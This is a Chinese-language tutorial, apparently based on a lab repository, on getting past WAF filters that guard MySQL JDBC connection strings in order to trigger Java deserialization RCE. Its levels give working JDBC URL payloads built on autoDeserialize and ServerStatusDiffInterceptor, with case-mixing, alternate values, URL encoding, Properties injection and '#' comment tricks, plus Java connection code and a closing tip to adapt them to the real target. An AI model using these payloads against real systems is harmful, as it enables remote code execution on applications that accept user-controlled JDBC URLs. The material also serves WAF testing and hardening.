征服 JDBC WAF:从防护到绕过的代码解析
环境搭建
测试环境代码:https://github.com/Y4Sec-Team/mysql-jdbc-tricks
环境已加入 Commons Collections (CC) 依赖,用于反序列化漏洞利用。
JDBC 无过滤场景
基础环境为简单 JDBC 连接,无任何过滤措施,可直接触发反序列化漏洞。
利用方式:直接发送恶意序列化 payload 即可实现 RCE。
大小写绕过
防护机制
WAF 添加基础关键字过滤,但未处理大小写变异。
绕过方法:将关键参数改为大小写混合形式(如 autoDeserialize → AutoDESerialize)。
实战价值:实际开发中可能存在疏忽,此类绕过仍具可行性。
关键字替换绕过
防护机制
WAF 过滤了 true 值,但未覆盖其他布尔表示形式(如 1、yes)。
绕过方法:
- 将
autoDeserialize=true替换为autoDeserialize=yes或autoDeserialize=1。
POC:
jdbc:mysql://target:3306/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
成功触发计算器弹出。
URL 编码绕过
防护机制
WAF 进一步过滤 yes、true 等值,需深入代码层分析。
调试分析
- 入口点:
DriverManager.getConnection()启动数据库连接。 - 参数解析:在
ConnectionString.parseUrl()中解析 URL 参数。 - 关键流程:
- 按
&、=、?分割参数。 - 对每个
key=value进行 URL 解码(URLDecoder.decode())。
结论:可通过 URL 编码绕过关键字检测。
- 按
POC
将参数值编码后传递:
jdbc:mysql://target:3306/test?autoDeserialize=%79%65%73&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
(注:%79%65%73 为 yes 的 URL 编码)
成功触发计算器。
更换参数传入位置
防护机制
WAF 仅检测 URL 路径中的参数,未覆盖连接属性(Properties)。
绕过方法:通过 Properties 对象传递恶意参数:
Properties props = new Properties();
props.setProperty("autoDeserialize", "true");
props.setProperty("queryInterceptors", "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
DriverManager.getConnection("jdbc:mysql://target:3306/test", props);
此方式完全绕过 URL 参数检测。
利用 URL 注释符突破单参数限制
防护机制
WAF 限制额外参数传入,并对参数字符串进行检测。
绕过方法 1:控制其他参数
在 user 或 password 参数中注入恶意值:
jdbc:mysql://target:3306/test?user=root&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
(注:需确保 user 或 password 位置可控制)
绕过方法 2:MySQL 8.x 链替换
MySQL 8.x 无法使用 detectCustomCollations 链,需替换为 ServerStatusDiffInterceptor 链。
测试代码:
String url = "jdbc:mysql://target:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection conn = DriverManager.getConnection(url, "root", "password");
成功触发计算器。
调试分析(MySQL 8.x)
- 参数解析:在
ConnectionString.getProperties()中调用parseQuerySection()。 - 解码处理:
processKeyValuePattern()对 key 和 value 均进行 URL 解码。
结论:MySQL 8.x 仍可通过编码绕过。
URL 注释符注释绕过
防护机制
WAF 强制追加 autoDeserialize=false,阻断利用。
绕过方法
使用 URL 注释符 # 注释后续参数:
jdbc:mysql://target:3306/test?autoDeserialize=true#&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
(注:# 后的内容会被视为片段标识符,不被服务器处理)
? 与 # 组合拳绕过
防护机制
WAF 检测 user 和 password 中的恶意代码。
绕过方法
通过 ? 和 # 构造参数分离:
jdbc:mysql://target:3306/test?user=root&password=root#&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
解析结果:
- 实际传递参数:
user=root、password=root(避开检测)。 #后的参数被注释,但客户端解析时仍生效。
Pass10:终极防护与绕过
防护机制
WAF 直接检测最终 URL 字符串,无解码或注释处理。
结论:
- MySQL Connector 6.x:无绕过方法。
- MySQL Connector 8.x:仍可通过 URL 编码绕过(因解码在 WAF 之后)。
总结
| 防护方式 | 绕过方法 | 适用版本 |
|---|---|---|
| 大小写检测 | 大小写混合 | 所有 |
| 关键字值过滤 | 替换为 yes/1 |
所有 |
| 关键字值加强过滤 | URL 编码 | 所有 |
| 参数位置检测 | 通过 Properties 传递 | 所有 |
| 单参数限制 | 注入到 user/password | 所有 |
| 强制追加参数 | 用 # 注释 |
所有 |
| 全字符串检测 | URL 编码(仅 8.x) | MySQL 8.x |
参考资源:
- https://github.com/Y4Sec-Team/mysql-jdbc-tricks
- MySQL Connector 源码调试(关键类:
ConnectionString、parseUrl)
注意:实际利用需结合目标环境版本及 WAF 具体实现调整。